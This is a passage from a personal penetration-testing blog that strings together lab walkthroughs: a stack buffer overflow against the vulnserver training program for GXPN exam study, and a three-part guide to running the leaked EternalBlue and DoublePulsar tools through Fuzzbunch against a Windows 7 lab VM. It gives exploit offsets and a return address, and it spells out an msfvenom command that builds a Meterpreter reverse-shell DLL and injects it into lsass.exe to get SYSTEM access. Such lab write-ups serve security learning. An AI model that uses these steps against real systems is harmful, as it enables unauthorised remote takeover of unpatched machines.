pwn3d.org

Today's goal is simple: reacquaint myself with basic stack-based buffer overflows that don't require you to fight DEP or ASLR or Stack Canaries or any other system protections. This is the basic "My First Exploit" kind of thing, but its good practice and frankly I haven't done it since SEC660 ended. So here we go.

First off, we'll be working with the following:

• Attacker Box: Kali Rolling at 192.168.99.161
• Victim Box: Windows 7 Professional with Service Pack 1 at 192.168.99.160
• Victim Box: Running "vulnserver.exe"
• Victim Box: Running Immunity Debugger

I'll leave explaining the concepts behind Buffer Overflows to other posts; but essentially we want to do the following:

- Locate the position of the buffer overflow
- Fine-tune it so we can control EIP (which controls the next set of instructions)
- Determine which "bad" characters will throw off our exploit for future reference
- Locate a JMP ESP instruction we can point to our exploit code

A quick caveat: I originally wrote all the code here in Python3, which is my preferred language. It turns out how it encodes data is a pain, so I've swapped it for Python2 code. Use 3 if you want but remember its going to have some unintended consequences.

Oh hey, another caveat: I'm not a developer, so code will be rough at best. Additionally, this isn't a tutorial - its review for myself. Input greatly appreciated, but if you're looking for anything more than a refresher, I'd suggest checking out another blog.

Okay, lets do this.

First off, launch vulnserver.exe. You get a simple interface that tells you when a client connects. The server runs on port 9999/TCP. On the Kali box, log into it with "nc 192.168.99.160 9999"

You can see running the HELP command gives you a bunch of options. Vulnserver.exe was created with the intent to be a buffer overflow training tool. Nothing really interesting happens with the commands; however, we're going to look at TRUN which is vulnerable to a buffer overflow. Remember: The format here is "TRUN .value" followed by the enter key - so our format for submitting a payload will be "TRUN ." + BOF/Exploit Code + "\r\n"

First, we need to see what position the buffer overflow actually is actually at. We're going to do this by writing some quick code that'll send a number of characters, in this case, "A" or "\x41" to the server and seeing how it reacts. "A" is arbitrary, but its easy to recognize in dumps; use whichever character you want. Start Vulnserver.exe, start Immunity Debugger, attach Immunity to the "vulnserver.exe" process, and hit the Start button. Immunity is now ready to capture whatever happens to vulnserver.exe for analysis. We want to end up with a crash, and then we want to control EIP to control what happens during the crash.

So we need to fine-tune exactly where EIP is located; how many "A"s do we send before we get there? We can find out by using a set of Metasploit tools, "pattern_create.rb" and "pattern_offset.rb". Pattern Create creates a non-repeating pattern that you send as your attack payload. You then take the value that lands in EIP and feed it into Pattern Offset, which tells you exactly how many characters of it'll take to land you in EIP. I decided since vulnserver.exe was still crashing at 3,000 characters, I'd create a pattern of 3,000 nonrepeating sequences and send that to vulnserver with the following command:

> root@notevil:~/gxpn# /usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 3000
> Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag...[continues]

Another quick note: If you're using vim, Syntax highlighting breaks by default at 3,000 characters, which means your vim session suddenly looks like things have gone terribly wrong. Do yourself a favor and add in "syntax on" and "set synmaxcol=0" in your ~/.vimrc file. Okay, sidenote over.

I updated my python script to send the above value as the "attack_payload" and send it to vulnserver.

Now we can look at EIP and see that it has a value of 43396F43. We can also see our non-repeating pattern in other parts of the stack. We'll now decode the position of 43396F43 using pattern offset:

Looks like we're set at 2007. So, we update the script again: now the number of "A"s is set to 2007, and we insert a few "B" characters ("\x42") afterward to make sure we're in control of EIP. If this works as intended, we should get all four "B"s in EIP. We'll also pad the attack since we know 3,000 chars crashes it, by filling the rest of the 3,000 character space with "C"s.

And we run the script:

Well, crap. EIP shows 3 of the "B" characters, and one of the "A" characters ("42424241" = "\x42\x42\x42\x41" = "BBBA") meaning one of two things happened: The pattern offset tool was wrong by one character, or (much more likely) I screwed something up. Fortunately its only one character too many, so we'll adjust the code to use 2006 "A"s instead. Adjustments made:

And lets run it again:

If you right-click ESP and select "Follow in Dump," you can see our padding of "C" characters - which is great, because they represent where our exploit code is going to go. So far, so good.

This would be a good time to test for bad characters - that is, characters that will, if included, cause problems in our exploitation of vulnserver.exe. In the past, I've always auto-disincluded troublesome characters like "\x00" "\x0a" "\x0d" and "\x20" - they represent things like carriage returns, line breaks, spaces, etc - not something you want to include when you're trying to run code. The most common method I've seen to check for others is to iterate through a list of all characters, and follow the dump to see where things go corrupt. Ideally, in the stack, if you send a 0x46, you should see a 46 - if 0x46 is a badchar, its going to be something else. So you go through, find where things go wonky, remove that from the list, and send the updated list. For reference, here's a badchar list I use:

> badchars = "\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0b\x0c\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"

I've pulled out the typically troublesome characters mentioned above already. I'll set these as my payload in the Python script and fire it off at Vulnserver, examining the results in Immunity:

We can see in the dump that all characters sent iterate, from \x01 to \xff, so we're in good shape! Now we need to find a JMP ESP instruction to put into EIP, to have it execute the shellcode we'll create in a few minutes.

For this, we can use the Mona module from Corelan. In the command bar of Immunity, we'll use Mona to search for an address that contains a JMP ESP instruction, is NOT using ASLR or any other buffer overflow defenses, and then pop that into our code as the EIP location.

In the Immunity command bar, type in "!mona modules" to list loaded modules. It does a great job of showing us what defenses are in place - for our purposes, we're looking for "false" across the board, and we have two options:

We can use essfunc.dll or vulnserver.exe itself - but look at the addresses. Vulnserver.exe starts with 0x00, meaning at some point we'll hit a badchar identified above and everything breaks. Instead, we can use essfunc.dll. We know we need a JMP ESP instruction; and we also know the JMP ESP instruction can be decoded to "ffe4" (or "\xff\xe4") - if you need to look this up, check out Metasploit's NASM shell at /usr/share/metasploit-framework/tools/exploit/nasm_shell.rb and type "jmp esp".

The mona command to search for JMP ESP inside of essfunc.dll is:

!mona find -s "\xff\xe4" -m "essfunc.dll". We can see a few good candidates:

I picked the first one, because its late and I'm tired - 0x625011af; there's no ASLR or any other defenses. Remember that we'll need to swap this to Little Endian format, so drop the 0x and reverse the bytes to "\xaf\x11\x50\x62" - thats what we want to land into EIP.

Lets update our attack code again. Set the EIP, and this time I'm going to add some NOPs (NO OPS) to put a little padding between the EIP and the exploit. I'm also going to generate shellcode using MSFVenom - I want a reverse command shell back to my box, exlcuding the bad characters identified earlier, i want it in Python format, and I'm going to set the variable name to "exploit":

Copy everything from 'exploit = \"\"' on down, and paste it into the exploit. Then we modify the exploit to adjust the length of padding and NOPs, and slap our exploit code right between the NOPs and padding:

Then we fire up msfconsole, start multi/handler, set the payload, port, and IP, and run the handler:

Fire off the exploit one more time...

And we have a shell!

Using a simple buffer overflow, we've gained access over the PC running vulnserver.exe and can continue hacking away at it from the shell provided.

Its been quite a while since I updated this site. For the next short while, the focus is going to be pretty specific: GIAC Advanced Penetration Testing and Exploit Development (GXPN) prep.

I was lucky enough to be chosen as a facilitator for SANS SEC660 at SANS Network Security; a class I've wanted to take for a long time. It was a brain-meltingly good class, especially the final two days: "Exploiting Linux for Penetration Testers" and "Exploiting Windows for Penetration Testers." While I'm no stranger to basic Buffer Overflow writing thanks to OSCP, this stuff was next level and honestly some of the most difficult coursework I've ever done. So for the next 60 days I'll be regularly updating the blog with materials and walkthroughs to make sure I understand all of the core concepts (maybe helping some other folks understand things along the way) and to stay accountable and on track. Note that this won't have any direct materials or labs from the books, the SANS course, nor will I post any of the practice exam or practical exam questions.

While I'll be talking about all concepts in the books, the areas I need most work will be the main focus (From the GIAC GXPN Description Page):

Advanced Fuzzing Techniques
The candidate will be able to develop custom fuzzing test sequences using the Sulley framework.

Advanced Stack Smashing
The candidate will demonstrate an understanding of how to write advanced stack overflow exploits against canary-protected programs and ASLR.

Advanced Fuzzing Techniques
The candidate will be able to develop custom fuzzing test sequences using the Sulley framework.

Introduction to Memory and Dynamic Linux Memory
The candidate will demonstrate a basic understanding of X86 processor architecture, Linux memory management, assembly and the linking and loading process.

Introduction to Windows Exploitation
The candidate will demonstrate an understanding of Windows constructs required for exploitation and the most common OS and Compile-Time Controls.

Python and Scapy For Pen Testers
The candidate will demonstrate an understanding of the ability to read and modify Python scripts and packet crafting using Scapy to enhance functionality as required during a penetration test.

Shellcode
The candidate will demonstrate the ability to write shellcode on the Linux operating system, and demonstrate an understanding of the Windows shellcode methodology.

Smashing the Stack
The candidate will demonstrate an understanding of how to write basic exploits against stack overflow vulnerabilities.

Windows Overflows
The candidate will demonstrate an understanding of how to exploit Windows vulnerabilities on the stack, and bypass memory protections.

The first post I'm working on, basic Stack-Based Buffer Overflows without ASLR/DEP/ETC, and basic fuzzing, should be up soon. In the meantime, if you have resources you'd like to share please do send them my way - via comments or on twitter at @highmeh

(NOTE: This is part three in a short series. If you haven't installed an EternalBlue backdoor in your Victim machine, please read Part 2.)

To recap where we are so far: You've installed Python 2.6 and its prerequisites. You can launch Fuzzbunch without errors, and you've backdoored your Victim box. You have a Windows Attack box, a Windows Victim Box, and a Kali box - and all three are on the same network and can communicate with each other. Please revisit the previous posts if this doesn't describe your situation. Otherwise, lets hack things.

Now that we have a backdoor installed, we're going to inject a Meterpreter DLL into a running process on your victim machine, and get a shell as NT Authority\System, the equivalent of root on a Windows box. For this section of the process, I'll assume the following:

1. You are familiar with the Linux command line.
2. You have basic familairity with Metasploit, specifically the msfconsole and msvenom tools. If you arent familiar with these, Offensive Security's Metasploit Unleashed is a great primer available for free.
3. You have backdoored your Victim box successfully.

Creating the Meterpreter payload and starting your Kali listener
Let's start by creating a malicious DLL file. The DLL we create is going to run the payload windows/x64/meterpreter/reverse_tcp which creates a 64-bit Meterpreter Reverse TCP connection to an IP address we specify. As noted in Part 2, my Kali system is located at 10.0.2.15.

1. Use the following command to generate the DLL: msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.0.2.15 LPORT=9898 -f dll -o meterpreter.dll. This uses the payload mentioned, connecting back to 10.0.2.15, on port 9898. It uses the DLL format and outputs the payload to a file called meterpreter.dll.
2. Copy the DLL over to your Windows Attack box. How you do this is up to you, but a quick and dirty way is to run python -m SimpleHTTPServer on your Kali box, and use a web browser from the Windows Attack box to browse to http://10.0.2.15:8000 and download it directly.
3. Start up msfconsole on Kali and use exploit/multi/handler. We're going to catch our shell here - so use the parameters you set in the DLL by typing set LPORT 9898. You can probably get away without setting the LHOST, but if you want to be sure, type set LHOST 10.0.2.15 as well. Finally, I had some issues with the exploit failing when I didnt set a payload manually. Avoid that by typing set PAYLOAD windows/x64/meterpreter/reverse_tcp. Lastly, type exploit to start your listener. Lots of info in this step, so here's what you should see:

1. If everything looks good, its time to go back to the Windows Attack box. Fire up Fuzzbunch if its not already running, and use doublepulsar.

Injecting the DLL and catching a shell

Like EternalBlue, DoublePulsar will attempt to fill in default module settings for you. We're going to change things, so when you see Prompt for Variable Settings? [Yes]:, hit enter.

1. NetworkTimeout [60]: This is fine unless youre on a slow link. Hit enter. If you notice timeouts, come back to this section and bump it up to 90 or 120 seconds.
2. TargetIP [10.0.2.7]: This should be what you entered when starting Fuzzbunch. If you need to retype it, do so now - otherwise, hit enter.
3. TargetPort [445]: DoublePulsar targets SMB. If your SMB port is not 445 (which is standard), enter it here. For everyone else, hit enter.
4. Protocol: Since we're using SMB here, make sure SMB is selected.
5. Architecture: Make sure you have this set correctly. If you use x86 on an x64 box, you'll get a blue screen of death.
6. Function: DoublePulsar can run shellcode, or run a DLL. Select 2 to Run a DLL.
7. DllPayload []: This is the full path to your Meterpreter DLL; for example, C:\temp\meterpreter.dll
8. DllOrdinal [1]: DLL files call functions by ordinal numbers instead of names. Unfortunately this is out of my scope of knowledge - in my experimentation, I used trial and error until an ordinal number worked. In this case, set your ordinal to 1. If 1 is incorrect, you'll quickly find out via a blue screen of death, nothing happening at all, or the RPC server on the Victim box crashing. Know a great way to determine the ordinal? Please drop me a line.
9. ProcessName [lsass.exe]: The process name you'll inject into. This is your call - pick something run as NT Authority\System, that is also unlikely to crash when disturbed, and is likely to exist and be running on the Victim machine. DoublePulsar uses lsass.exe by default - this works fine, but some Meterpreter actions (such as hashdump) will likely cause it to crash. You can consider spoolsv.exe, SearchIndexer.exe, and lsm.exe as well - experiement a bit with this field.
10. ProcessCommand []: Optional, the process command line to inject into. Leave this blank.
11. Destination IP [10.0.2.7]: Local tunnel IP. For this scenario, leave it as default.
12. Destination Port [445]: Local tunnel port. Again, we'll leave this default.

You should now have a summary of the changes you've made, which should look like this:

If everything looks good, hit enter to launch your exploit. DoublePulsar will connect, check on the EternalBlue backdoor, and inject the DLL. You should see a [+] Doublepulsar Succeeded message. Here's what the attack looks like from your Windows box:

And now the good part - open up your Kali box. If everything has gone well, you've now got a meterpreter session open, and you should have NT Authority\System. w00t!

In the next post, we'll do the same thing with PowerShell Empire. Sick of the Red Team stuff? Coming up are event viewer logs for each of the steps described, PCAPs of each attack, and an analysis of what hits the disk when you launch EternalBlue and DoublePulsar.

(NOTE: This is part two in a short series. If you haven't configured your environment, please read Part 1.)

By now, your environment is configured, you've been able to launch the Fuzzbunch framework, and you're probably ready to hack something. In this article we'll go through the process of using EternalBlue to create a backdoor. I'm going to make the following assumptions:

1. You have configured a local VM network with 1 Windows attack machine and 1 Windows 7 victim machine.
2. You have gone through the first blog post and can launch the Fuzzbunch framework.
3. You have basic command of the Windows operating system and command line.

For reference, in my lab environment, this is the setup:

1. Attacker Box - 10.0.2.5. Windows 7 SP1 x64.
2. Kali Box - 10.0.2.15. Kali Rolling. (We'll use this in Part 3)
3. Victim Box - 10.0.2.7. Windows 7 SP1 x64, without the MS17-010 patches applied.

In the next tutorial we're going to use the DLL injection function in DoublePulsar - however, the first step in this process is to backdoor the Victim with Eternal Blue. Launch Fuzzbunch, and enter the following:

Default Target IP Address []: 10.0.2.7
Default Callback IP Address []: 10.0.2.5
Use Redirection [yes]: no
Base Log directory [D:\logs]: c:\fb_logs

If you have run Fuzzbunch in the past, you may see a list of projects. If this is your first run, you'll see a prompt to select or create a new project. Select [0] to create a new project. Give it a name, and you should see something like this:

Time to backdoor our Windows box. Remember that exploits run through EternalBlue (the backdoor itself), so this is a critical step.

1. Type use eternalblue
2. Fuzzbunch populates your options with defaults. The good news is, this is mostly correct out of the box. It'll ask if you want to be prompted for variables - lets go through this, as there is one default we're going to change. Types yes or hit enter to continue.
3. NetworkTimeout [60]: This is fine unless youre on a slow link. Hit enter. If you notice timeouts, come back to this section and bump it up to 90 or 120 seconds.
4. TargetIP [10.0.2.7]: This should be what you entered when starting Fuzzbunch. If you need to retype it, do so now - otherwise, hit enter.
5. TargetPort [445]: EternalBlue targets SMB. If your SMB port is not 445 (which is standard), enter it here. For everyone else, hit enter.
6. VerifyTarget [True]: You can set this to False to speed things up - but its a good idea to verify the target exists and is vulnerable before firing things off.
7. VerifyBackdoor [True]: Verify that your backdoor exploit actually succeeds.
8. MaximumExploitAttempts [3]: How many times should EternalBlue attempt to install the backdoor? I have seen EternalBlue fail the first attempt and succeed the second - so I'd recommend leaving it at 3.
9. GroomAllocations [12]: The number of SMB Buffers to use. Accept the defaults.
10. Target [WIN72K8R2]: In our example, we're targetting Windows 7. If you're using XP, select the appropriate option.
11. Mode :: Delivery Mechanism [FB]: We're going to use Fuzzbunch. In a future post, we'll discuss DARINGNEOPHYTE.
12. Fuzzbunch Confirmation: This confirms that you want to use Fuzzbunch.
13. Destination IP [10.0.2.7]: This is for your local tunnel. In our example, keep it as default
14. Destination Port [445]: As per above, this is for your local tunnel. Accept the default.
15. You should now see a summary of the configured EternalBlue module, as seen below:

    

Everything look good? Hit enter, and we'll see Fuzzbunch backdoor the victim machine. This happens quick, but the authors have made a point of a celebratory =-=-=WIN=-=-= banner.

Here's the exploit in its entirety, from answering yes to a successful backdoor.

Note that EternalBlue checks for the existance of a backdoor before continuing. If you see =-=-=-=-=WIN=-=-=-=-= toward the end, and a green [+] Eternalblue Succeeded message then congratulations! You've just launched a nation state exploit against an unsuspecting lab machine. I'd suggest running through these steps again, right away, to see how things play out when you try to backdoor a box that has already been backdoored with EternalBlue. In the next post, we'll pop a Meterpreter shell as NT Authority\System in minutes flat.

By now, you've likely heard about the Shadow Brokers and their alleged NSA tool dump. Regardless of whether you believe it was or was not the toolset of a nation-state actor, at least one thing is true: this stuff works, and it works well.

In this blog series I'll walk through some of what I've learned from the dump, focusing specifically on two tools: Eternal Blue, a tool for backdooring Windows via MS17-010, and DoublePulsar, an exploit that allows you to inject DLLs through the established backdoor, or inject your own shellcode payload. In this first post, we'll walk through setting up the environment and getting the front-end framework, Fuzzbunch, to run.

tl;dr - sweet nation-state level hax, remote unauthenticated attacks that pop shells as NT AUTHORITY\System. Remember MS08-067? Yeah, like that.

Setting up the environment

1. To get going, fire up a Windows 7 host in a virtual machine. Dont worry about the specs; all of my research and testing has been done in a Virtualbox VM with 1GB ram, 1 CPU core, and a 25GB hard drive.
2. First and foremost, git clone (or download the zip) of the Shadowbrokers Dump. You should be able to grab it from x0rz' github.
3. The exploits run through a framework not entirely unlike Metasploit. The framework itself runs in Python, so we need to grab a copy of Python 2.6 for Windows. If you catch yourself wondering why you're installing a 9 year old copy of Python, remember that the dump is from 2013, and the tools had been in use for a while. Fire up the DeLorean because we're about to go way back.
4. Add Python to your environmental path by going to Control Panel > System > Advanced System Settings > Environmental Variables and add C:\Python26 to the PATH field.
5. Because you're running Python on Windows, there are a bunch of dependencies you'll need to install. The easiest way to overcome this is to install the Python for Windows Extensions, also known as PyWin. Grab a copy of PyWin 2.6 here.
6. PyWin will very likely fail on its final step. No problem: open an administrator command prompt, cd C:\python26\scripts and run python pywin32_postinstall.py --install. Python and its dependencies should now be installed.
7. We're now ready to launch the Fuzzbunch Framework. Navigate to the folder you downloaded the exploits, and cd windows. You'll need to create a folder called listeningposts or the next step will fail; so, mkdir listeningposts.
8. You should now be able to launch Fuzzbunch - use python fb.py to kick it off.

Thats about it to get the software running. You'll be asked a few questions, such as your Target IP, Callback IP (your local IP address), and whether you want to use Redirection. For now, choose no. Fuzzbunch will ask for a Logs directory - this is a pretty cool feature that stores your attack history and lets you resume from where you left off. Create a Logs directory somewhere.

At this point I'd encourage you to explore the interface; its fairly intuitive, sharing many commands with Metasploit (including help and ? -- hint hint). In the next post, we'll launch an actual attack through Meterpreter and Powershell Empire DLLs.